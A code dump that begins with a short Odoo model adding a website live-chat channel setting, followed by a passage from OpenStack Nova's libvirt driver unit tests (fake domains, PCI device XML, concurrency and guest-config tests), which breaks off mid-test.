# -*- coding: utf-8 -*- from openerp.osv import osv from openerp import api, fields, models from openerp.http import request class Website(models.Model): _inherit = "website" channel_id = fields.Many2one('im_livechat.channel', string='Website Live Chat Channel') class WebsiteConfigSettings(models.TransientModel): _inherit = 'website.config.settings' channel_id = fields.Many2one('im_livechat.channel', string='Website Live Chat Channel', related='website_id.channel_id')
devendermishrajio/nova_test_latest
refs/heads/master
nova/tests/unit/virt/libvirt/test_driver.py
4
# Copyright 2010 OpenStack Foundation # Copyright 2012 University Of Minho # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. import contextlib import copy import datetime import errno import glob import os import random import re import shutil import signal import threading import time import uuid import eventlet from eventlet import greenthread import fixtures from lxml import etree import mock from mox3 import mox from os_brick.initiator import connector from oslo_concurrency import lockutils from oslo_concurrency import processutils from oslo_config import cfg from oslo_serialization import jsonutils from oslo_service import loopingcall from oslo_utils import encodeutils from oslo_utils import fileutils from oslo_utils import importutils from oslo_utils import timeutils from oslo_utils import units from oslo_utils import uuidutils import six from six.moves import builtins from six.moves import range from nova.api.metadata import base as instance_metadata from nova.compute import arch from nova.compute import cpumodel from nova.compute import manager from nova.compute import power_state from nova.compute import task_states from nova.compute import vm_mode from nova.compute import vm_states from nova import context from nova import db from nova import exception from nova.network import model as network_model from nova import objects from nova.pci import manager as pci_manager from nova import test from nova.tests.unit import fake_block_device from nova.tests.unit import fake_instance from nova.tests.unit import fake_network import nova.tests.unit.image.fake from nova.tests.unit import matchers from nova.tests.unit.objects import test_pci_device from nova.tests.unit.objects import test_vcpu_model from nova.tests.unit.virt.libvirt import fake_imagebackend from nova.tests.unit.virt.libvirt import fake_libvirt_utils from nova.tests.unit.virt.libvirt import fakelibvirt from nova import utils from nova import version from nova.virt import block_device as driver_block_device from nova.virt import configdrive from nova.virt.disk import api as disk from nova.virt import driver from nova.virt import fake from nova.virt import firewall as base_firewall from nova.virt import hardware from nova.virt.image import model as imgmodel from nova.virt.libvirt import blockinfo from nova.virt.libvirt import config as vconfig from nova.virt.libvirt import driver as libvirt_driver from nova.virt.libvirt import firewall from nova.virt.libvirt import guest as libvirt_guest from nova.virt.libvirt import host from nova.virt.libvirt import imagebackend from nova.virt.libvirt.storage import lvm from nova.virt.libvirt.storage import rbd_utils from nova.virt.libvirt import utils as libvirt_utils from nova.virt.libvirt.volume import volume as volume_drivers libvirt_driver.libvirt = fakelibvirt host.libvirt = fakelibvirt libvirt_guest.libvirt = fakelibvirt CONF = cfg.CONF CONF.import_opt('compute_manager', 'nova.service') CONF.import_opt('host', 'nova.netconf') CONF.import_opt('my_ip', 'nova.netconf') CONF.import_opt('image_cache_subdirectory_name', 'nova.virt.imagecache') CONF.import_opt('instances_path', 'nova.compute.manager') CONF.import_opt('iscsi_use_multipath', 'nova.virt.libvirt.volume', 'libvirt') _fake_network_info = fake_network.fake_get_instance_nw_info _fake_NodeDevXml = \ {"pci_0000_04_00_3": """ <device> <name>pci_0000_04_00_3</name> <parent>pci_0000_00_01_1</parent> <driver> <name>igb</name> </driver> <capability type='pci'> <domain>0</domain> <bus>4</bus> <slot>0</slot> <function>3</function> <product id='0x1521'>I350 Gigabit Network Connection</product> <vendor id='0x8086'>Intel Corporation</vendor> <capability type='virt_functions'> <address domain='0x0000' bus='0x04' slot='0x10' function='0x3'/> <address domain='0x0000' bus='0x04' slot='0x10' function='0x7'/> <address domain='0x0000' bus='0x04' slot='0x11' function='0x3'/> <address domain='0x0000' bus='0x04' slot='0x11' function='0x7'/> </capability> </capability> </device>""", "pci_0000_04_10_7": """ <device> <name>pci_0000_04_10_7</name> <parent>pci_0000_00_01_1</parent> <driver> <name>igbvf</name> </driver> <capability type='pci'> <domain>0</domain> <bus>4</bus> <slot>16</slot> <function>7</function> <product id='0x1520'>I350 Ethernet Controller Virtual Function </product> <vendor id='0x8086'>Intel Corporation</vendor> <capability type='phys_function'> <address domain='0x0000' bus='0x04' slot='0x00' function='0x3'/> </capability> <capability type='virt_functions'> </capability> </capability> </device>""", "pci_0000_04_11_7": """ <device> <name>pci_0000_04_11_7</name> <parent>pci_0000_00_01_1</parent> <driver> <name>igbvf</name> </driver> <capability type='pci'> <domain>0</domain> <bus>4</bus> <slot>17</slot> <function>7</function> <product id='0x1520'>I350 Ethernet Controller Virtual Function </product> <vendor id='0x8086'>Intel Corporation</vendor> <numa node='0'/> <capability type='phys_function'> <address domain='0x0000' bus='0x04' slot='0x00' function='0x3'/> </capability> <capability type='virt_functions'> </capability> </capability> </device>"""} _fake_cpu_info = { "arch": "test_arch", "model": "test_model", "vendor": "test_vendor", "topology": { "sockets": 1, "cores": 8, "threads": 16 }, "features": ["feature1", "feature2"] } def _concurrency(signal, wait, done, target, is_block_dev=False): signal.send() wait.wait() done.send() class FakeVirDomainSnapshot(object): def __init__(self, dom=None): self.dom = dom def delete(self, flags): pass class FakeVirtDomain(object): def __init__(self, fake_xml=None, uuidstr=None, id=None, name=None): if uuidstr is None: uuidstr = str(uuid.uuid4()) self.uuidstr = uuidstr self.id = id self.domname = name self._info = [power_state.RUNNING, 2048 * units.Mi, 1234 * units.Mi, None, None] if fake_xml: self._fake_dom_xml = fake_xml else: self._fake_dom_xml = """ <domain type='kvm'> <devices> <disk type='file'> <source file='filename'/> </disk> </devices> </domain> """ def name(self): if self.domname is None: return "fake-domain %s" % self else: return self.domname def ID(self): return self.id def info(self): return self._info def create(self): pass def managedSave(self, *args): pass def createWithFlags(self, launch_flags): pass def XMLDesc(self, flags): return self._fake_dom_xml def UUIDString(self): return self.uuidstr def attachDeviceFlags(self, xml, flags): pass def attachDevice(self, xml): pass def detachDeviceFlags(self, xml, flags): pass def snapshotCreateXML(self, xml, flags): pass def blockCommit(self, disk, base, top, bandwidth=0, flags=0): pass def blockRebase(self, disk, base, bandwidth=0, flags=0): pass def blockJobInfo(self, path, flags): pass def resume(self): pass def destroy(self): pass def fsFreeze(self, disks=None, flags=0): pass def fsThaw(self, disks=None, flags=0): pass class CacheConcurrencyTestCase(test.NoDBTestCase): def setUp(self): super(CacheConcurrencyTestCase, self).setUp() self.flags(instances_path=self.useFixture(fixtures.TempDir()).path) # utils.synchronized() will create the lock_path for us if it # doesn't already exist. It will also delete it when it's done, # which can cause race conditions with the multiple threads we # use for tests. So, create the path here so utils.synchronized() # won't delete it out from under one of the threads. self.lock_path = os.path.join(CONF.instances_path, 'locks') fileutils.ensure_tree(self.lock_path) def fake_exists(fname): basedir = os.path.join(CONF.instances_path, CONF.image_cache_subdirectory_name) if fname == basedir or fname == self.lock_path: return True return False def fake_execute(*args, **kwargs): pass def fake_extend(image, size, use_cow=False): pass self.stubs.Set(os.path, 'exists', fake_exists) self.stubs.Set(utils, 'execute', fake_execute) self.stubs.Set(imagebackend.disk, 'extend', fake_extend) self.useFixture(fixtures.MonkeyPatch( 'nova.virt.libvirt.imagebackend.libvirt_utils', fake_libvirt_utils)) def _fake_instance(self, uuid): return objects.Instance(id=1, uuid=uuid) def test_same_fname_concurrency(self): # Ensures that the same fname cache runs at a sequentially. uuid = uuidutils.generate_uuid() backend = imagebackend.Backend(False) wait1 = eventlet.event.Event() done1 = eventlet.event.Event() sig1 = eventlet.event.Event() thr1 = eventlet.spawn(backend.image(self._fake_instance(uuid), 'name').cache, _concurrency, 'fname', None, signal=sig1, wait=wait1, done=done1) eventlet.sleep(0) # Thread 1 should run before thread 2. sig1.wait() wait2 = eventlet.event.Event() done2 = eventlet.event.Event() sig2 = eventlet.event.Event() thr2 = eventlet.spawn(backend.image(self._fake_instance(uuid), 'name').cache, _concurrency, 'fname', None, signal=sig2, wait=wait2, done=done2) wait2.send() eventlet.sleep(0) try: self.assertFalse(done2.ready()) finally: wait1.send() done1.wait() eventlet.sleep(0) self.assertTrue(done2.ready()) # Wait on greenthreads to assert they didn't raise exceptions # during execution thr1.wait() thr2.wait() def test_different_fname_concurrency(self): # Ensures that two different fname caches are concurrent. uuid = uuidutils.generate_uuid() backend = imagebackend.Backend(False) wait1 = eventlet.event.Event() done1 = eventlet.event.Event() sig1 = eventlet.event.Event() thr1 = eventlet.spawn(backend.image(self._fake_instance(uuid), 'name').cache, _concurrency, 'fname2', None, signal=sig1, wait=wait1, done=done1) eventlet.sleep(0) # Thread 1 should run before thread 2. sig1.wait() wait2 = eventlet.event.Event() done2 = eventlet.event.Event() sig2 = eventlet.event.Event() thr2 = eventlet.spawn(backend.image(self._fake_instance(uuid), 'name').cache, _concurrency, 'fname1', None, signal=sig2, wait=wait2, done=done2) eventlet.sleep(0) # Wait for thread 2 to start. sig2.wait() wait2.send() tries = 0 while not done2.ready() and tries < 10: eventlet.sleep(0) tries += 1 try: self.assertTrue(done2.ready()) finally: wait1.send() eventlet.sleep(0) # Wait on greenthreads to assert they didn't raise exceptions # during execution thr1.wait() thr2.wait() class FakeVolumeDriver(object): def __init__(self, *args, **kwargs): pass def attach_volume(self, *args): pass def detach_volume(self, *args): pass def get_xml(self, *args): return "" def get_config(self, *args): """Connect the volume to a fake device.""" conf = vconfig.LibvirtConfigGuestDisk() conf.source_type = "network" conf.source_protocol = "fake" conf.source_name = "fake" conf.target_dev = "fake" conf.target_bus = "fake" return conf def connect_volume(self, *args): """Connect the volume to a fake device.""" return self.get_config() class FakeConfigGuestDisk(object): def __init__(self, *args, **kwargs): self.source_type = None self.driver_cache = None class FakeConfigGuest(object): def __init__(self, *args, **kwargs): self.driver_cache = None class FakeNodeDevice(object): def __init__(self, fakexml): self.xml = fakexml def XMLDesc(self, flags): return self.xml def _create_test_instance(): flavor = objects.Flavor(memory_mb=2048, swap=0, vcpu_weight=None, root_gb=1, id=2, name=u'm1.small', ephemeral_gb=0, rxtx_factor=1.0, flavorid=u'1', vcpus=1, extra_specs={}) return { 'id': 1, 'uuid': '32dfcb37-5af1-552b-357c-be8c3aa38310', 'memory_kb': '1024000', 'basepath': '/some/path', 'bridge_name': 'br100', 'display_name': "Acme webserver", 'vcpus': 2, 'project_id': 'fake', 'bridge': 'br101', 'image_ref': '155d900f-4e14-4e4c-a73d-069cbf4541e6', 'root_gb': 10, 'ephemeral_gb': 20, 'instance_type_id': '5', # m1.small 'extra_specs': {}, 'system_metadata': {}, 'flavor': flavor, 'new_flavor': None, 'old_flavor': None, 'pci_devices': objects.PciDeviceList(), 'numa_topology': None, 'config_drive': None, 'vm_mode': None, 'kernel_id': None, 'ramdisk_id': None, 'os_type': 'linux', 'user_id': '838a72b0-0d54-4827-8fd6-fb1227633ceb', 'ephemeral_key_uuid': None, 'vcpu_model': None, 'host': 'fake-host', } class LibvirtConnTestCase(test.NoDBTestCase): REQUIRES_LOCKING = True _EPHEMERAL_20_DEFAULT = ('ephemeral_20_%s' % utils.get_hash_str(disk._DEFAULT_FILE_SYSTEM)[:7]) def setUp(self): super(LibvirtConnTestCase, self).setUp() self.flags(fake_call=True) self.user_id = 'fake' self.project_id = 'fake' self.context = context.get_admin_context() temp_dir = self.useFixture(fixtures.TempDir()).path self.flags(instances_path=temp_dir) self.flags(snapshots_directory=temp_dir, group='libvirt') self.useFixture(fixtures.MonkeyPatch( 'nova.virt.libvirt.driver.libvirt_utils', fake_libvirt_utils)) self.flags(sysinfo_serial="hardware", group="libvirt") self.useFixture(fixtures.MonkeyPatch( 'nova.virt.libvirt.imagebackend.libvirt_utils', fake_libvirt_utils)) def fake_extend(image, size, use_cow=False): pass self.stubs.Set(libvirt_driver.disk, 'extend', fake_extend) self.stubs.Set(imagebackend.Image, 'resolve_driver_format', imagebackend.Image._get_driver_format) self.useFixture(fakelibvirt.FakeLibvirtFixture()) self.test_instance = _create_test_instance() self.image_service = nova.tests.unit.image.fake.stub_out_image_service( self.stubs) self.device_xml_tmpl = """ <domain type='kvm'> <devices> <disk type='block' device='disk'> <driver name='qemu' type='raw' cache='none'/> <source dev='{device_path}'/> <target bus='virtio' dev='vdb'/> <serial>58a84f6d-3f0c-4e19-a0af-eb657b790657</serial> <address type='pci' domain='0x0' bus='0x0' slot='0x04' \ function='0x0'/> </disk> </devices> </domain> """ def relpath(self, path): return os.path.relpath(path, CONF.instances_path) def tearDown(self): nova.tests.unit.image.fake.FakeImageService_reset() super(LibvirtConnTestCase, self).tearDown() def test_driver_capabilities(self): drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) self.assertTrue(drvr.capabilities['has_imagecache'], 'Driver capabilities for \'has_imagecache\'' 'is invalid') self.assertTrue(drvr.capabilities['supports_recreate'], 'Driver capabilities for \'supports_recreate\'' 'is invalid') def create_fake_libvirt_mock(self, **kwargs): """Defining mocks for LibvirtDriver(libvirt is not used).""" # A fake libvirt.virConnect class FakeLibvirtDriver(object): def defineXML(self, xml): return FakeVirtDomain() # Creating mocks volume_driver = ['iscsi=nova.tests.unit.virt.libvirt.test_driver' '.FakeVolumeDriver'] fake = FakeLibvirtDriver() # Customizing above fake if necessary for key, val in kwargs.items(): fake.__setattr__(key, val) self.stubs.Set(libvirt_driver.LibvirtDriver, '_conn', fake) self.stubs.Set(libvirt_driver.LibvirtDriver, '_get_volume_drivers', lambda x: volume_driver) self.stubs.Set(host.Host, 'get_connection', lambda x: fake) def fake_lookup(self, instance_name): return FakeVirtDomain() def fake_execute(self, *args, **kwargs): open(args[-1], "a").close() def _create_service(self, **kwargs): service_ref = {'host': kwargs.get('host', 'dummy'), 'disabled': kwargs.get('disabled', False), 'binary': 'nova-compute', 'topic': 'compute', 'report_count': 0} return objects.Service(**service_ref) def _get_pause_flag(self, drvr, network_info, power_on=True, vifs_already_plugged=False): timeout = CONF.vif_plugging_timeout events = [] if (drvr._conn_supports_start_paused and utils.is_neutron() and not vifs_already_plugged and power_on and timeout): events = drvr._get_neutron_events(network_info) return bool(events) def test_public_api_signatures(self): baseinst = driver.ComputeDriver(None) inst = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) self.assertPublicAPISignatures(baseinst, inst) def test_legacy_block_device_info(self): drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) self.assertFalse(drvr.need_legacy_block_device_info) @mock.patch.object(host.Host, "has_min_version") def test_min_version_start_ok(self, mock_version): mock_version.return_value = True drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) drvr.init_host("dummyhost") @mock.patch.object(host.Host, "has_min_version") def test_min_version_start_abort(self, mock_version): mock_version.return_value = False drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) self.assertRaises(exception.NovaException, drvr.init_host, "dummyhost") @mock.patch.object(fakelibvirt.Connection, 'getLibVersion', return_value=utils.convert_version_to_int( libvirt_driver.NEXT_MIN_LIBVIRT_VERSION) - 1) @mock.patch.object(libvirt_driver.LOG, 'warning') def test_next_min_version_deprecation_warning(self, mock_warning, mock_get_libversion): # Test that a warning is logged if the libvirt version is less than # the next required minimum version. drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) drvr.init_host("dummyhost") # assert that the next min version is in a warning message expected_arg = {'version': '0.10.2'} version_arg_found = False for call in mock_warning.call_args_list: if call[0][1] == expected_arg: version_arg_found = True break self.assertTrue(version_arg_found) @mock.patch.object(fakelibvirt.Connection, 'getLibVersion', return_value=utils.convert_version_to_int( libvirt_driver.NEXT_MIN_LIBVIRT_VERSION)) @mock.patch.object(libvirt_driver.LOG, 'warning') def test_next_min_version_ok(self, mock_warning, mock_get_libversion): # Test that a warning is not logged if the libvirt version is greater # than or equal to NEXT_MIN_LIBVIRT_VERSION. drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) drvr.init_host("dummyhost") # assert that the next min version is in a warning message expected_arg = {'version': '0.10.2'} version_arg_found = False for call in mock_warning.call_args_list: if call[0][1] == expected_arg: version_arg_found = True break self.assertFalse(version_arg_found) @mock.patch.object(objects.Service, 'get_by_compute_host') def test_set_host_enabled_with_disable(self, mock_svc): # Tests disabling an enabled host. drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) svc = self._create_service(host='fake-mini') mock_svc.return_value = svc drvr._set_host_enabled(False) self.assertTrue(svc.disabled) @mock.patch.object(objects.Service, 'get_by_compute_host') def test_set_host_enabled_with_enable(self, mock_svc): # Tests enabling a disabled host. drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) svc = self._create_service(disabled=True, host='fake-mini') mock_svc.return_value = svc drvr._set_host_enabled(True) self.assertTrue(svc.disabled) @mock.patch.object(objects.Service, 'get_by_compute_host') def test_set_host_enabled_with_enable_state_enabled(self, mock_svc): # Tests enabling an enabled host. drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) svc = self._create_service(disabled=False, host='fake-mini') mock_svc.return_value = svc drvr._set_host_enabled(True) self.assertFalse(svc.disabled) @mock.patch.object(objects.Service, 'get_by_compute_host') def test_set_host_enabled_with_disable_state_disabled(self, mock_svc): # Tests disabling a disabled host. drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) svc = self._create_service(disabled=True, host='fake-mini') mock_svc.return_value = svc drvr._set_host_enabled(False) self.assertTrue(svc.disabled) def test_set_host_enabled_swallows_exceptions(self): # Tests that set_host_enabled will swallow exceptions coming from the # db_api code so they don't break anything calling it, e.g. the # _get_new_connection method. drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) with mock.patch.object(db, 'service_get_by_compute_host') as db_mock: # Make db.service_get_by_compute_host raise NovaException; this # is more robust than just raising ComputeHostNotFound. db_mock.side_effect = exception.NovaException drvr._set_host_enabled(False) @mock.patch.object(fakelibvirt.virConnect, "nodeDeviceLookupByName") def test_prepare_pci_device(self, mock_lookup): pci_devices = [dict(hypervisor_name='xxx')] self.flags(virt_type='xen', group='libvirt') drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) conn = drvr._host.get_connection() mock_lookup.side_effect = lambda x: fakelibvirt.NodeDevice(conn) drvr._prepare_pci_devices_for_use(pci_devices) @mock.patch.object(fakelibvirt.virConnect, "nodeDeviceLookupByName") @mock.patch.object(fakelibvirt.virNodeDevice, "dettach") def test_prepare_pci_device_exception(self, mock_detach, mock_lookup): pci_devices = [dict(hypervisor_name='xxx', id='id1', instance_uuid='uuid')] self.flags(virt_type='xen', group='libvirt') drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) conn = drvr._host.get_connection() mock_lookup.side_effect = lambda x: fakelibvirt.NodeDevice(conn) mock_detach.side_effect = fakelibvirt.libvirtError("xxxx") self.assertRaises(exception.PciDevicePrepareFailed, drvr._prepare_pci_devices_for_use, pci_devices) def test_detach_pci_devices_exception(self): pci_devices = [dict(hypervisor_name='xxx', id='id1', instance_uuid='uuid')] drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) self.mox.StubOutWithMock(host.Host, 'has_min_version') host.Host.has_min_version = lambda x, y: False self.assertRaises(exception.PciDeviceDetachFailed, drvr._detach_pci_devices, None, pci_devices) def test_detach_pci_devices(self): fake_domXML1 =\ """<domain> <devices> <disk type='file' device='disk'> <driver name='qemu' type='qcow2' cache='none'/> <source file='xxx'/> <target dev='vda' bus='virtio'/> <alias name='virtio-disk0'/> <address type='pci' domain='0x0000' bus='0x00' slot='0x04' function='0x0'/> </disk> <hostdev mode="subsystem" type="pci" managed="yes"> <source> <address function="0x1" slot="0x10" domain="0x0000" bus="0x04"/> </source> </hostdev></devices></domain>""" pci_devices = [dict(hypervisor_name='xxx', id='id1', instance_uuid='uuid', address="0001:04:10:1")] drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) self.mox.StubOutWithMock(host.Host, 'has_min_version') host.Host.has_min_version = lambda x, y: True self.mox.StubOutWithMock(libvirt_driver.LibvirtDriver, '_get_guest_pci_device') class FakeDev(object): def to_xml(self): pass libvirt_driver.LibvirtDriver._get_guest_pci_device =\ lambda x, y: FakeDev() class FakeDomain(object): def detachDeviceFlags(self, xml, flags): pci_devices[0]['hypervisor_name'] = 'marked' pass def XMLDesc(self, flags): return fake_domXML1 guest = libvirt_guest.Guest(FakeDomain()) drvr._detach_pci_devices(guest, pci_devices) self.assertEqual(pci_devices[0]['hypervisor_name'], 'marked') def test_detach_pci_devices_timeout(self): fake_domXML1 =\ """<domain> <devices> <hostdev mode="subsystem" type="pci" managed="yes"> <source> <address function="0x1" slot="0x10" domain="0x0000" bus="0x04"/> </source> </hostdev> </devices> </domain>""" pci_devices = [dict(hypervisor_name='xxx', id='id1', instance_uuid='uuid', address="0000:04:10:1")] drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) self.mox.StubOutWithMock(host.Host, 'has_min_version') host.Host.has_min_version = lambda x, y: True self.mox.StubOutWithMock(libvirt_driver.LibvirtDriver, '_get_guest_pci_device') class FakeDev(object): def to_xml(self): pass libvirt_driver.LibvirtDriver._get_guest_pci_device =\ lambda x, y: FakeDev() class FakeDomain(object): def detachDeviceFlags(self, xml, flags): pass def XMLDesc(self, flags): return fake_domXML1 guest = libvirt_guest.Guest(FakeDomain()) self.assertRaises(exception.PciDeviceDetachFailed, drvr._detach_pci_devices, guest, pci_devices) @mock.patch.object(connector, 'get_connector_properties') def test_get_connector(self, fake_get_connector): initiator = 'fake.initiator.iqn' ip = 'fakeip' host = 'fakehost' wwpns = ['100010604b019419'] wwnns = ['200010604b019419'] self.flags(my_ip=ip) self.flags(host=host) expected = { 'ip': ip, 'initiator': initiator, 'host': host, 'wwpns': wwpns, 'wwnns': wwnns } volume = { 'id': 'fake' } # TODO(walter-boring) add the fake in os-brick fake_get_connector.return_value = expected drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) result = drvr.get_volume_connector(volume) self.assertThat(expected, matchers.DictMatches(result)) @mock.patch.object(connector, 'get_connector_properties') def test_get_connector_storage_ip(self, fake_get_connector): ip = '100.100.100.100' storage_ip = '101.101.101.101' self.flags(my_block_storage_ip=storage_ip, my_ip=ip) volume = { 'id': 'fake' } expected = { 'ip': storage_ip } # TODO(walter-boring) add the fake in os-brick fake_get_connector.return_value = expected drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) result = drvr.get_volume_connector(volume) self.assertEqual(storage_ip, result['ip']) def test_lifecycle_event_registration(self): calls = [] def fake_registerErrorHandler(*args, **kwargs): calls.append('fake_registerErrorHandler') def fake_get_host_capabilities(**args): cpu = vconfig.LibvirtConfigGuestCPU() cpu.arch = arch.ARMV7 caps = vconfig.LibvirtConfigCaps() caps.host = vconfig.LibvirtConfigCapsHost() caps.host.cpu = cpu calls.append('fake_get_host_capabilities') return caps @mock.patch.object(fakelibvirt, 'registerErrorHandler', side_effect=fake_registerErrorHandler) @mock.patch.object(host.Host, "get_capabilities", side_effect=fake_get_host_capabilities) def test_init_host(get_host_capabilities, register_error_handler): drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) drvr.init_host("test_host") test_init_host() # NOTE(dkliban): Will fail if get_host_capabilities is called before # registerErrorHandler self.assertEqual(['fake_registerErrorHandler', 'fake_get_host_capabilities'], calls) def test_sanitize_log_to_xml(self): # setup fake data data = {'auth_password': 'scrubme'} bdm = [{'connection_info': {'data': data}}] bdi = {'block_device_mapping': bdm} # Tests that the parameters to the _get_guest_xml method # are sanitized for passwords when logged. def fake_debug(*args, **kwargs): if 'auth_password' in args[0]: self.assertNotIn('scrubme', args[0]) drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) conf = mock.Mock() with contextlib.nested( mock.patch.object(libvirt_driver.LOG, 'debug', side_effect=fake_debug), mock.patch.object(drvr, '_get_guest_config', return_value=conf) ) as ( debug_mock, conf_mock ): drvr._get_guest_xml(self.context, self.test_instance, network_info={}, disk_info={}, image_meta={}, block_device_info=bdi) # we don't care what the log message is, we just want to make sure # our stub method is called which asserts the password is scrubbed self.assertTrue(debug_mock.called) @mock.patch.object(time, "time") def test_get_guest_config(self, time_mock): time_mock.return_value = 1234567.89 drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) test_instance = copy.deepcopy(self.test_instance) test_instance["display_name"] = "purple tomatoes" ctxt = context.RequestContext(project_id=123, project_name="aubergine", user_id=456, user_name="pie") flavor = objects.Flavor(name='m1.small', memory_mb=6, vcpus=28, root_gb=496, ephemeral_gb=8128, swap=33550336, extra_specs={}) instance_ref = objects.Instance(**test_instance) instance_ref.flavor = flavor image_meta = {} disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref, image_meta) cfg = drvr._get_guest_config(instance_ref, _fake_network_info(self.stubs, 1), {}, disk_info, context=ctxt) self.assertEqual(cfg.uuid, instance_ref["uuid"]) self.assertEqual(2, len(cfg.features)) self.assertIsInstance(cfg.features[0], vconfig.LibvirtConfigGuestFeatureACPI) self.assertIsInstance(cfg.features[1], vconfig.LibvirtConfigGuestFeatureAPIC) self.assertEqual(cfg.memory, 6 * units.Ki) self.assertEqual(cfg.vcpus, 28) self.assertEqual(cfg.os_type, vm_mode.HVM) self.assertEqual(cfg.os_boot_dev, ["hd"]) self.assertIsNone(cfg.os_root) self.assertEqual(len(cfg.devices), 10) self.assertIsInstance(cfg.devices[0], vconfig.LibvirtConfigGuestDisk) self.assertIsInstance(cfg.devices[1], vconfig.LibvirtConfigGuestDisk) self.assertIsInstance(cfg.devices[2], vconfig.LibvirtConfigGuestDisk) self.assertIsInstance(cfg.devices[3], vconfig.LibvirtConfigGuestInterface) self.assertIsInstance(cfg.devices[4], vconfig.LibvirtConfigGuestSerial) self.assertIsInstance(cfg.devices[5], vconfig.LibvirtConfigGuestSerial) self.assertIsInstance(cfg.devices[6], vconfig.LibvirtConfigGuestInput) self.assertIsInstance(cfg.devices[7], vconfig.LibvirtConfigGuestGraphics) self.assertIsInstance(cfg.devices[8], vconfig.LibvirtConfigGuestVideo) self.assertIsInstance(cfg.devices[9], vconfig.LibvirtConfigMemoryBalloon) self.assertEqual(len(cfg.metadata), 1) self.assertIsInstance(cfg.metadata[0], vconfig.LibvirtConfigGuestMetaNovaInstance) self.assertEqual(version.version_string_with_package(), cfg.metadata[0].package) self.assertEqual("purple tomatoes", cfg.metadata[0].name) self.assertEqual(1234567.89, cfg.metadata[0].creationTime) self.assertEqual("image", cfg.metadata[0].roottype) self.assertEqual(str(instance_ref["image_ref"]), cfg.metadata[0].rootid) self.assertIsInstance(cfg.metadata[0].owner, vconfig.LibvirtConfigGuestMetaNovaOwner) self.assertEqual(456, cfg.metadata[0].owner.userid) self.assertEqual("pie", cfg.metadata[0].owner.username) self.assertEqual(123, cfg.metadata[0].owner.projectid) self.assertEqual("aubergine", cfg.metadata[0].owner.projectname) self.assertIsInstance(cfg.metadata[0].flavor, vconfig.LibvirtConfigGuestMetaNovaFlavor) self.assertEqual("m1.small", cfg.metadata[0].flavor.name) self.assertEqual(6, cfg.metadata[0].flavor.memory) self.assertEqual(28, cfg.metadata[0].flavor.vcpus) self.assertEqual(496, cfg.metadata[0].flavor.disk) self.assertEqual(8128, cfg.metadata[0].flavor.ephemeral) self.assertEqual(33550336, cfg.metadata[0].flavor.swap) def test_get_guest_config_lxc(self): self.flags(virt_type='lxc', group='libvirt') drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = objects.Instance(**self.test_instance) cfg = drvr._get_guest_config(instance_ref, _fake_network_info(self.stubs, 1), None, {'mapping': {}}) self.assertEqual(instance_ref["uuid"], cfg.uuid) self.assertEqual(2 * units.Mi, cfg.memory) self.assertEqual(1, cfg.vcpus) self.assertEqual(vm_mode.EXE, cfg.os_type) self.assertEqual("/sbin/init", cfg.os_init_path) self.assertEqual("console=tty0 console=ttyS0", cfg.os_cmdline) self.assertIsNone(cfg.os_root) self.assertEqual(3, len(cfg.devices)) self.assertIsInstance(cfg.devices[0], vconfig.LibvirtConfigGuestFilesys) self.assertIsInstance(cfg.devices[1], vconfig.LibvirtConfigGuestInterface) self.assertIsInstance(cfg.devices[2], vconfig.LibvirtConfigGuestConsole) def test_get_guest_config_lxc_with_id_maps(self): self.flags(virt_type='lxc', group='libvirt') self.flags(uid_maps=['0:1000:100'], group='libvirt') self.flags(gid_maps=['0:1000:100'], group='libvirt') drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = objects.Instance(**self.test_instance) cfg = drvr._get_guest_config(instance_ref, _fake_network_info(self.stubs, 1), None, {'mapping': {}}) self.assertEqual(instance_ref["uuid"], cfg.uuid) self.assertEqual(2 * units.Mi, cfg.memory) self.assertEqual(1, cfg.vcpus) self.assertEqual(vm_mode.EXE, cfg.os_type) self.assertEqual("/sbin/init", cfg.os_init_path) self.assertEqual("console=tty0 console=ttyS0", cfg.os_cmdline) self.assertIsNone(cfg.os_root) self.assertEqual(3, len(cfg.devices)) self.assertIsInstance(cfg.devices[0], vconfig.LibvirtConfigGuestFilesys) self.assertIsInstance(cfg.devices[1], vconfig.LibvirtConfigGuestInterface) self.assertIsInstance(cfg.devices[2], vconfig.LibvirtConfigGuestConsole) self.assertEqual(len(cfg.idmaps), 2) self.assertIsInstance(cfg.idmaps[0], vconfig.LibvirtConfigGuestUIDMap) self.assertIsInstance(cfg.idmaps[1], vconfig.LibvirtConfigGuestGIDMap) def test_get_guest_config_numa_host_instance_fits(self): instance_ref = objects.Instance(**self.test_instance) image_meta = {} flavor = objects.Flavor(memory_mb=1, vcpus=2, root_gb=496, ephemeral_gb=8128, swap=33550336, name='fake', extra_specs={}) instance_ref.flavor = flavor caps = vconfig.LibvirtConfigCaps() 